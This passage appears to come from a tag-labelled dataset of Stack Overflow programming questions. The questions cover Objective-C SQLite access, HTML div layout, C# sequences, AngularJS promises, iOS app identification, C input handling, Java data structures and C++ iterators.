init];     //employees = [[nsmutablearray alloc] init]; //    fmdatabase *db = [fmdatabase databasewithpath:[utility getdatabasepath]]; //    [db open]; //    fmresultset *results = [db executequery:@ select * from employees ]; // //    while([results next]) //    { //        employee *thisemployee  = [employee new]; //        thisemployee.fullname   = [results stringforcolumn:@ fullname ]; //        thisemployee.city       = [results stringforcolumn:@ city ]; //        thisemployee.ste        = [results stringforcolumn:@ state ]; //        //[employees addobject:thisemployee]; //    } // //    [db close]; // //    return employees;    // return true; //}    @end </code></pre>   any help would be greatly appreciated.    i thought it was clear but i can see it is not. in the view class i want to be able to load an nsmutablearray called *employees that comes from the sqllite database and out them on the screen. i have tried to centralize the code for data access in the getemployee class. everything in that class deals with the data - web service  load the data to the database  and getting the data out of the database as well. so in that class i have a method  getemployees  that gets data from the db and loads it into that nsmutablearry. so here is the problem  in the class i cannot get access to the methods or properties in getempployee. that is my question.,objective-c
how do i place my div exactly side by side   can anybody help me place these divs side by side. this is my markup :-   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html&gt;     &lt;head&gt;      &lt;/head&gt;     &lt;body style= width:100%;  &gt;         &lt;div style= width:1024;overflow:hidden;display:inline; &gt;             &lt;div style= width:1024px;overflow:hidden;display:inline;color:blue; &gt;                 lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.             &lt;/div&gt;             &lt;div style= width:1024px;overflow:hidden;display:inline;color:red; &gt;                 lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.             &lt;/div&gt;         &lt;/div&gt;      &lt;/body&gt; &lt;/html&gt; </code></pre>   currently it the content flows out meaning it is laid out in flow layout manner. i want them to be placed side by side like two tds put together.    <strong>modified source :-</strong>   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html&gt;     &lt;head&gt;      &lt;/head&gt;     &lt;body style= width:100%;  &gt;         &lt;div style= width:1024px;overflow:hidden;display:inline; &gt;             &lt;div style= float:left; overflow:hidden;width:1024px;margin:0px;padding:0px;color:blue; &gt;                 lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.             &lt;/div&gt;             &lt;div style= margin-left: 1024px;margin:0px;padding:0px;overflow:hidden;width:1024px;color:red; &gt;                 lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. claritas est etiam processus dynamicus  qui sequitur mutationem consuetudium lectorum. mirum est notare quam littera gothica  quam nunc putamus parum claram  anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. eodem modo typi  qui nunc nobis videntur parum clari  fiant sollemnes in futurum.             &lt;/div&gt;          &lt;/div&gt;      &lt;/body&gt; &lt;/html&gt; </code></pre>,html
any method available that will execute func<foo> n times and get an ienumerable<foo>   i may only be asking this because i ve blinded myself to something brilliantly obvious but     i m looking for something like this...   <pre><code>ienumerable&lt;foo&gt; fooseq = enumerable.generate(()=&gt; new foo()  5); </code></pre>   which would make fooseq a sequence of 5 new foo instances.    can t seem to find it though.,c#
how to handle ngoptions data source which depends on a function in scope whose existence is predicated on the completion of a promise   in the following simple controller using ngresource:   <pre><code>controllers.controller( mappingsctrl   function ($scope  $q  mappingsresource  databasesresource  tablesresource  fieldsresource) {     $scope.databases = databasesresource.get();      $scope.tables = tablesresource.get(function (response) {         var tablesbydatabaseid = _.groupby(response   databaseid );         $scope.gettables = function (databaseid) {             return tablesbydatabaseid[databaseid];         }     });      $scope.fields = fieldsresource.get();      $scope.fieldmappings = mappingsresource.get(); }); </code></pre>   i am waiting until the tables resource returns before adding the function <code>gettables</code> to scope and in my markup i have a repeater with an ngoptions that depends on it.   <pre><code>&lt;tr ng-repeat= mapping in fieldmappings  ng-cloak&gt;                 &lt;td&gt;{{fields[mapping.fieldid]}}&lt;/td&gt;                 &lt;td&gt;&lt;select ng-model= mapping.databaseid  ng-options= c.databaseid as c.databasename for c in databases &gt;&lt;/select&gt;&lt;/td&gt;                 &lt;td&gt;&lt;select ng-model= mapping.tableid  ng-options= c.tableid as c.tablename for c in gettables(mapping.databaseid) &gt;&lt;/select&gt;&lt;/td&gt;             &lt;/tr&gt; </code></pre>   when i run it  everything works  but i suspected it might only be working due to timing  luck   so i forced the tables resource to pause 5 seconds before returning.  to my surprise  i got no errors  and it simply rendered the page with no options filled in and then 5 seconds later filled them in.    my question is: am i handling the scenario correctly insofar as having an ngoptions data source depend on a function in scope whose existence is predicated on the completion of a promise of indeterminate time...,angularjs
finding out which app is using my library  assume  i have a ios library used by many applications. i like to find out which app end up integrating my library without app noticing it. what would be the best way to do this  i am looking for a way to query app name string  company or some other similar identifiers using standard ios apis.,ios
allowing users to key in multiple lines in command prompt by using c  i don t really know about c. so  my questions and ideas may be misleading or ridiculous or embarrassing. please forgive me..     the question states that the program should get the user input from the command prompt. the input text will have numbers  alphabets and space characters. they will have multiple lines too..    the example program is using <code>&lt;stdio.h&gt;</code> and hence <code>printf</code> and <code>scanf</code>.    using <code>cin</code> and <code>cout</code> is not encouraged according to the textbook. in order to use <code>cin</code> and <code>cout</code>  i need <code>&lt;iostream&gt;</code> but i can t <code>include</code> <code>&lt;iostream&gt;</code>. even if i could include <code>&lt;iostream&gt;</code>  but i then can t <code>include</code> <code>&lt;stdio.h&gt;</code> anymore.    i also can t use <code>string</code>. i ve heard that <code>c</code> doesn t allow the use of <code>string</code>  but i don t really understand why.   <hr>   my question is; when you ask users to type in something with <code>printf( enter your text:  );</code>  they can only type in one line.. once they hit <code>enter</code>  the program receive it.     is there anyway to use <code>scanf</code> to allow users to type in multiple lines by typing <code>shift+enter</code> for example.     as <code>string</code> is not available  should i use a <code>char</code> array like <code>char inputtext[999]</code>  will this give me enough space     my two questions are; how to allow users to type multiple lines in command prompt  and what data type should i use to save the entered text     i googled it but they mix c++ and c..    thanks to all and once again  i apologize if my question is a waste of time for you..    hi all  i have done it.. but i only have one more problem..   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int nc=0 nw=0 bs=0 c  nq=0  nl=0; int main() {     printf( text analysis program\n\n );     printf( enter your text: );     while((c=getchar())!=eof)     {         if( (c&gt;= a  &amp;&amp; c&lt;= z ) || (c&gt;= a  &amp;&amp;  c&lt;= z ) )         {             nc++;         }         else if( c&gt;= 0  &amp;&amp; c&lt;= 9  )         {             nq++;         }         else if (c==   )         {             nw++;             bs++;                }         else if (c== \n )         {             nw++;             nl++;         }     }     printf( number of characters: %d;\n  nc);     printf( number of words: %d;\n  nw);     printf( number of numerical quantities: %d;\n  nq);     printf( number of blank spaces: %d;\n  bs);     printf( number of lines entered: %d;\n  nl);     exit(0); } </code></pre>   at the end  after the answers are shown  <code>cmd</code> screen closes straight away.. i removed <code>exit(0)</code> it is still the same. is there any commands to freeze the screen and appears <code>press any key to continue</code>,c
is it better to use a custom java object or to use a hashmaps to store data  lets say we have a bunch of data (temp wind pressure) that ultimately comes in as a number of float arrays.  for example:   <pre><code>float[] temp = //get after performing some processing (takes time) float[] wind =  </code></pre>   say we want to store these values in memory for different hours of the day. is it better to put these on a hashmap like:   <pre><code>hashmap maphr1 = new hashmap(); maphr1.put( temp  temp); maphr1.put( wind  wind); ... </code></pre>   or is it better to create a java object like:   <pre><code>public class hourdata(){    private float[] temp wind pressure;    //getters and setters for above!  } ... // use it like this hourdata hr1 = new hourdata(); hr1.settemp(temp); hr1.setwind(wind); </code></pre>   out of these two approaches which is better in terms of performance  readability  good oop practice etc,java
problem with iterators  basically i wrote some code to print out a triangle recursively - and originally i used an iterator in the code to take the inner parts of a triangle and include them in the complete  picture .    anyway here s the code:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;vector&gt;  using namespace std;   vector&lt;string&gt; print_triangle( int max_stars) {  vector&lt;string&gt; buffer;   if( max_stars == 1)  {   buffer.push_back( * );   buffer.push_back( * );   return buffer;  }   //this is the first part of the program that writes the first line of  //asterisks  string tmp;  for( int i = 0; i &lt; max_stars; i++)  {   tmp.push_back( * );  }   buffer.push_back(tmp);   //this is the recursive part of the program  which generates the  //remainder of the triangle pattern  - the inner part.  vector&lt;string&gt; inner_part;  inner_part = print_triangle( max_stars - 1);   vector&lt;string&gt;::iterator iter = inner_part.begin();           for( ; iter != inner_part.end(); ++iter)           {                buffer.push_back(*iter);           }  string tmp1;  for( int i = 0; i &lt; max_stars; i++)  {   tmp1.push_back( * );  }  buffer.push_back(tmp1);   return buffer; } </code></pre>   this code doesn t work however if you replace the iterator with the following section of code it works fine.   <pre><code> for( int i = 0; i &lt; inner_part.size(); ++i)  {   buffer.push_back(inner_part[i]);  } </code></pre>   my question is why doesn t iterators work in this context.,c++
